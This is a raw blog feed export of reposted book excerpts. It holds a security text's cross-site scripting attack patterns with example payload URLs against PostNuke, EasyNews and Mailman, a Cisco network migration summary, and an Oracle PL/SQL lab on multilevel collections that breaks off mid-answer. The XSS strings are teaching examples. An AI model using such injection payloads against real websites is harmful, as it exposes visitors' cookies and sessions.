/&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://host/mailman/listinfo/&amp;lt;img%20src=user_inserted_script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Attack Pattern: XSS in HTTP&lt;br /&gt;Headers&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The HTTP headers of a request are always&lt;br /&gt;available to a server for consumption. No matter the context or&lt;br /&gt;where data are positioned, if the data are from the client, they&lt;br /&gt;should clearly be untrusted. However, in many cases programmers&lt;br /&gt;overlook header information. For some reason header information is&lt;br /&gt;treated as holy ground that cannot be controlled by the user. This&lt;br /&gt;pattern takes advantage of this oversight to inject data via a&lt;br /&gt;header field.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docSection3Title"&gt;* Attack Example: HTTP Headers in&lt;br /&gt;Webalizer XSS&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;A program called &lt;span class="docEmphasis"&gt;webalizer&lt;/span&gt; can analyze logs of Web&lt;br /&gt;requests. Sometimes search engines will put identifying data in the&lt;br /&gt;Referrer field when they make a request. Webalizer can (for&lt;br /&gt;example) search all requests made from search engines and compile a&lt;br /&gt;list of search keywords. The keywords, once obtained, are cataloged&lt;br /&gt;on an HTML page.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;An XSS attack can execute via these search&lt;br /&gt;terms. This involves faking a request from a search engine and&lt;br /&gt;putting embedded script into the search term itself. Webalizer&lt;br /&gt;copies the attack string, unfiltered, into the catalog of known&lt;br /&gt;search terms, where it is then activated by an administrator.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Attack Pattern: HTTP Query Strings&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;A query string takes variable = value pairs.&lt;br /&gt;These are passed to the target executable or script designated in&lt;br /&gt;the request. A variable can be injected with script. The script is&lt;br /&gt;processed and stored in a way that is later visible to a user.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docSection3Title"&gt;* Attack Example: PostNuke Content&lt;br /&gt;Management System XSS&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The PostNuke content management system (http://www.postnuke.com/ ) had&lt;br /&gt;a vulnerability in which user-supplied HTML could be injected. The&lt;br /&gt;following URL carried out a simple query string attack: http://[website]/user.php?op=userinfo&amp;amp;uname=&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docSection3Title"&gt;* Attack Example: EasyNews PHP Script&lt;br /&gt;XSS&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;The following HTML request could at one&lt;br /&gt;time cause a post to be made, which includes an XSS attack:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;[View full width]&amp;lt;/div&amp;gt;&lt;br /&gt;http://[target]/index.php?action=comments&amp;amp;do=save&amp;amp;id=1&amp;amp;cid=../news&amp;amp;&lt;br /&gt;name=11/11/11&amp;amp;kommentar=%20&amp;amp;e-mail=hax0r&amp;amp;zeit=&amp;lt;img src=javascript:alert(document.title)&amp;gt;&lt;br /&gt;&lt;br /&gt;,11:11,../news,&lt;br /&gt;bugs@securityalert.=com&amp;amp;datum=easynews%20exploited&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Attack Pattern: User-Controlled&lt;br /&gt;Filename&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;An unfiltered, user-controlled filename can be&lt;br /&gt;used to construct client HTML. Perhaps HTML text is being built&lt;br /&gt;from filenames. This can be the case if a Web server is exposing a&lt;br /&gt;directory on the file system, for example. If the server does not&lt;br /&gt;filter certain characters, the filename itself can include an XSS&lt;br /&gt;attack.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docSection3Title"&gt;* Attack Example: XSS in MP3 Files and&lt;br /&gt;Spreadsheets&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The cross-site problem is not confined to Web&lt;br /&gt;sites alone. There are many types of media files that contain URLs,&lt;br /&gt;including MP3 music files, video files, postscripts, PDFs, and even&lt;br /&gt;spreadsheet files. The client programs used to view these kinds of&lt;br /&gt;files may interpret the embedded URL data directly or may transfer&lt;br /&gt;the HTML data to an embedded Web browser, such as the Microsoft&lt;br /&gt;Internet Explorer control. Once control is transferred, the&lt;br /&gt;embedded data are subject to the same problems as in a traditional&lt;br /&gt;XSS attack.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Microsoft considers the XSS problem extremely&lt;br /&gt;serious and devotes considerable attention to eradicating XSS&lt;br /&gt;vulnerabilities during their self-described "security push" phase&lt;br /&gt;of software development.&lt;sup class="docFootnote"&gt;[3]&lt;/sup&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docFootnote"&gt;&lt;br /&gt;&lt;sup&gt;[3]&lt;/sup&gt; The book &lt;span class="docEmphasis"&gt;Writing Secure Code&lt;/span&gt; [Howard and&lt;br /&gt;LeBlanc, 2002] describes how security has been integrated into&lt;br /&gt;Microsoft's software development life cycle.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="2"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td valign="top" align="right"&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;    &lt;br /&gt;&lt;td align="center" id="_navigbottom"&gt;&lt;br /&gt;&lt;table width="100%" cellpadding="0" cellspacing="0" id="_navigbottom"&gt;&lt;br /&gt;      &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;        &lt;br /&gt;&lt;td colspan="3" height="1" background="images/bg.jpg"&gt;&lt;/td&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;      &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;        &lt;br /&gt;&lt;td width="7%" bgcolor="#D6D7D9" align="left" class="v2"&gt;&lt;/td&gt;&lt;br /&gt;        &lt;td width="86%" bgcolor="#D6D7D9" align="center" class="teamname"&gt;&lt;font class="info"&gt;&lt;b&gt;Amazon&lt;/td&gt;&lt;br /&gt;        &lt;td width="7%" bgcolor="#D6D7D9" align="right" class="v2"&gt;&lt;/td&gt;&lt;br /&gt;      &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;td colspan="3" height="1" background="images/bg.jpg"&gt;&lt;/td&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-2259656329984038421?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/2259656329984038421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/cross-site-scripting-xss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2259656329984038421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2259656329984038421'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/cross-site-scripting-xss.html' title='Cross-site Scripting (XSS)'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-6741667949485708558</id><published>2009-11-13T07:49:00.041-08:00</published><updated>2009-11-13T07:49:48.647-08:00</updated><title type='text'>Summary</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;tr style="background-image: url(images/tile_back.gif);"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Day Day Up&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt;Summary&lt;/H3&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The importance of the preplanning phase cannot be overemphasized. Because time was spent to "plan the plan," the result was a transition in which obstacles were identified and dealt with ahead of time. Considering issues that revolved around the impact the initiative would have on users ensured buy-in and greater speed to competency. Putting together a cross-functional team with the right expertise and accountability resulted in a much more reliable, stable network and a support team that has been onboard since the beginning. Following is a short summary from each section of Chapter 2.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;Importance of a cross-functional team&lt;/span&gt;� &lt;br /&gt;&lt;br /&gt;The AVVID Tiger Team was made up of an executive sponsor, a steering committee, a team lead and program manager, and a core team that included four tracks representing expertise in technology, support, finance, and each of Cisco's global theaters.&lt;/p&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;Executive management sponsorship&lt;/span&gt;� &lt;br /&gt;&lt;br /&gt;Executive sponsorship was instrumental to the team's ability to gain buy-in from the user community. The executive sponsor should be the highest-ranking individual within the corporation. The executive sponsor for Cisco was its CEO, John Chambers. Chambers' role was to champion the initiative, tie in the business objectives for the migration, communicate the vision and importance, and commit the resources required to complete the project.&lt;/p&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;Managing change&lt;/span&gt;� &lt;br /&gt;&lt;br /&gt;Understanding user needs, communicating the who, what, where, when, and why, instilling a culture of openness to change within the organization, and managing expectations built acceptance by the user community.&lt;/p&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;Where do you begin: the engineering story&lt;/span&gt;� &lt;br /&gt;&lt;br /&gt;Building the right team with experience in either voice or data helped fill the gaps, enabled a comprehensive understanding of the current infrastructure, and determined what it would take to evolve to a converged network. In addition, planning the dial plan, ensuring the ability to scale, and determining the best location for the infrastructure laid the groundwork for a successful migration.&lt;/p&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#e6e6e6"&gt;&lt;br /&gt;&lt;tr style="background-image: url(images/tile_back.gif);"&gt;&lt;br /&gt;&lt;td class="v2" align="left" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="center" width="40%"&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;&amp;nbsp;Day Day Up&amp;nbsp;&amp;gt;&amp;nbsp;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="v2" align="right" width="30%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-6741667949485708558?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/6741667949485708558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/summary_8609.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6741667949485708558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6741667949485708558'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/summary_8609.html' title='Summary'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-2423687941319967708</id><published>2009-11-13T07:49:00.039-08:00</published><updated>2009-11-13T07:49:47.044-08:00</updated><title type='text'>Lab 18.3 Multilevel Collections</title><content type='html'>&lt;span class="v2"&gt;&lt;/span&gt;&lt;table width="100%" cellpadding="0" cellspacing="0" border="0"&gt;&lt;tr valign="top"&gt;&lt;/tr&gt;&lt;/table&gt;&lt;table width="100%" height="20" border="0" cellpadding="0" cellspacing="1" class="topmenu"&gt;&lt;tr&gt;&lt;/tr&gt;&lt;/table&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr valign="top"&gt;&lt;td align="center"&gt;&lt;table width="95%"&gt;&lt;tr&gt;&lt;td align="left" class="v2"&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="2"&gt;&lt;tr&gt;&lt;td valign="top" class="v2" height="5"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;TD&gt;&lt;b&gt;&lt;font size="1" color="#0000FF"&gt;Team-Fly&lt;/font&gt;&lt;/b&gt;&lt;/TD&gt;&lt;td valign="top" class="v2" align="right"&gt; &lt;br /&gt;          &amp;nbsp;&lt;br /&gt;          &lt;br /&gt;          &amp;nbsp;    &lt;br /&gt;          &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;hr size="1"&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="5"&gt;&lt;tr&gt;&lt;td valign="top" width="76" rowspan="4"&gt;&lt;/td&gt;&lt;td valign="top" class="v2"&gt;Oracle&amp;#174; PL/SQL&amp;#174; Interactive Workbook, Second Edition&lt;br&gt;By &lt;br /&gt;          Benjamin&amp;nbsp;Rosenzweig, Elena&amp;nbsp;Silvestrova&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="v1"&gt;Table of Contents&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="bottom" class="t1"&gt;&lt;br /&gt;             Chapter 18.&amp;nbsp;&lt;br /&gt;           Collections&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;hr size="1"&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;H3 class="docSection1Title" id="162593-958"&gt; Lab 18.3 Multilevel Collections&lt;/H3&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Lab Objective&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;After this Lab, you will be able to:&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;P class="docList"&gt;Use Multilevel Collections&lt;/P&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;br /&gt;&lt;P class="docText"&gt;So far you have seen various examples of collections with the element type based on a scalar type, such as NUMBER and VARCHAR2. In Oracle 9i, PL/SQL provides you with the ability to create collections whose element type is based on a collection type. Such collections are called &lt;span class="docEmphasis"&gt;multilevel collections&lt;/span&gt;. You will recall that multilevel collections is a new feature and is not supported by Oracle versions prior to 9i.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Consider a varrray of varrays shown in Figure 18.3.&lt;/P&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;br /&gt;&lt;H5 class="docFigureTitle"&gt;Figure 18.3. A Varray of Varrays&lt;/H5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;/p&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;P class="docText"&gt;Figure 18.3 shows a varray of varrays or nested varray. A varray of varrays consists of three elements, where each individual element is a varray consisting of four integer numbers. As a result, in order to reference an individual element of a varray of varrays, you use the following notation:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;varray_name(subscript of the outer varray)(subscript of &lt;br /&gt;the inner varray) &lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;For example, the varray(1)(3) in Figure 18.3 equals 6; similarly, varray(2)(1) equals 1.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Consider an example based on Figure 18.3.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="docEmphasis"&gt;FOR EXAMPLE&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;DECLARE &lt;br /&gt;   TYPE varray_type1 IS VARRAY(4) OF INTEGER; &lt;br /&gt;   TYPE varray_type2 IS VARRAY(3) OF varray_type1; &lt;br /&gt;   varray1 varray_type1 := varray_type1(2, 4, 6, 8); &lt;br /&gt;   varray2 varray_type2 := varray_type2(varray1); &lt;br /&gt;BEGIN &lt;br /&gt;   DBMS_OUTPUT.PUT_LINE ('Varray of integers'); &lt;br /&gt;   FOR i IN 1..4 LOOP &lt;br /&gt;      DBMS_OUTPUT.PUT_LINE ('varray1('||i||'): ' || &lt;br /&gt;         varray1(i)); &lt;br /&gt;   END LOOP; &lt;br /&gt;&lt;br /&gt;   varray2.EXTEND; &lt;br /&gt;   varray2(2) := varray_type1(1, 3, 5, 7); &lt;br /&gt;&lt;br /&gt;   DBMS_OUTPUT.PUT_LINE (chr(10)|| &lt;br /&gt;      'Varray of varrays of integers'); &lt;br /&gt;   FOR i IN 1..2 LOOP &lt;br /&gt;      FOR j IN 1..4 LOOP &lt;br /&gt;         DBMS_OUTPUT.PUT_LINE &lt;br /&gt;            ('varray2('||i||')('||j||'): '||varray2(i)(j)); &lt;br /&gt;      END LOOP; &lt;br /&gt;   END LOOP; &lt;br /&gt;END; &lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;In this declaration portion of the example, you define two varray types. The first type, varray_type1, is based on the INTEGER datatype and can contain up to four elements. The second type, varray_type2, is based on the varray_type1 and can contain up to six elements. Next, you declare two varrays based on the types just described. The first varray, varray1, is declared as varray_type1 and initialized so that its four elements are populated with the first four even numbers. The second varray, varray2, is declared as varray_type2, so that each individual element is a varray consisting of four integer numbers, and initialized so that it first varray element is populated.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;In the executable portion of the example, you display the values of the varray1 on the screen. Next, you extend the upper bound of the varray2 by one, and populate its second element as follows:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(2) := varray_type1(1, 3, 5, 7);&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;Notice that you are using a constructor corresponding to the varray_type1 because each element of the varray2 is based on the varray1 collection. In other words, the same result could be achieved via the following two statements:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray1 := varray_type1(1, 3, 5, 7);&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2 := varray_type2(varray1);&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;Once the second element of the varray2 is populated, you display results on the screen via nested numeric FOR loops.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;This example produces the following output:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;Varray of integers&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray1(1): 2&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray1(2): 4&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray1(3): 6&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray1(4): 8&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;Varray of varrays of integers&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(1)(1): 2&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(1)(2): 4&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(1)(3): 6&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(1)(4): 8&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(2)(1): 1&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(2)(2): 3&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(2)(3): 5&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;varray2(2)(4): 7&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;PL/SQL procedure successfully completed.&lt;/span&gt; &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; Lab 18.3 Exercises&lt;/H4&gt;&lt;br /&gt;&lt;br /&gt;&lt;H5 class="docSection3Title"&gt;18.3.1 Use Multilevel Collections&lt;/H5&gt;&lt;br /&gt;&lt;P class="docText"&gt;In this exercise, you will learn more about multilevel collections.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Create the following PL/SQL script:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;-- ch18_4a.sql, version 1.0 &lt;br /&gt;SET SERVEROUTPUT ON &lt;br /&gt;DECLARE &lt;br /&gt;   TYPE table_type1 IS TABLE OF integer INDEX BY &lt;br /&gt;   BINARY_INTEGER; &lt;br /&gt;   TYPE table_type2 IS TABLE OF table_type1 INDEX BY &lt;br /&gt;   BINARY_INTEGER; &lt;br /&gt;&lt;br /&gt;   table_tab1 table_type1; &lt;br /&gt;   table_tab2 table_type2; &lt;br /&gt;&lt;br /&gt;BEGIN &lt;br /&gt;   FOR i IN 1..2 LOOP &lt;br /&gt;      FOR j IN 1..3 LOOP &lt;br /&gt;         IF i = 1 THEN &lt;br /&gt;            table_tab1(j) := j; &lt;br /&gt;         ELSE &lt;br /&gt;            table_tab1(j) := 4 - j; &lt;br /&gt;         END IF; &lt;br /&gt;         table_tab2(i)(j) := table_tab1(j); &lt;br /&gt;         DBMS_OUTPUT.PUT_LINE ('table_tab2('|| &lt;br /&gt;            i||')('||j||'): '||table_tab2(i)(j)); &lt;br /&gt;      END LOOP; &lt;br /&gt;   END LOOP; &lt;br /&gt;END; &lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;Execute the script, and then answer the following questions:&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;a)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;Execute the script ch18_4a.sql and explain the output produced.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;b)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;Modify the script so that instead of using multilevel index-by tables it uses a nested table of index-by tables.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;c)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;Modify the script so that instead of using multilevel index-by tables it uses a nested table of varrays.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; Lab 18.3 Exercise Answers&lt;/H4&gt;&lt;br /&gt;&lt;P class="docText"&gt;This section gives you some suggested answers to the questions in Lab 18.3, with discussion related to how those answers resulted. The most important thing to realize is whether your answer works. You should figure out the implications of the answers here and what the effects are from any different answers you may come up with.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H5 class="docSection3Title"&gt;18.3.1 Answers&lt;/H5&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;a)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;Execute the script ch18_4a.sql and explain the output 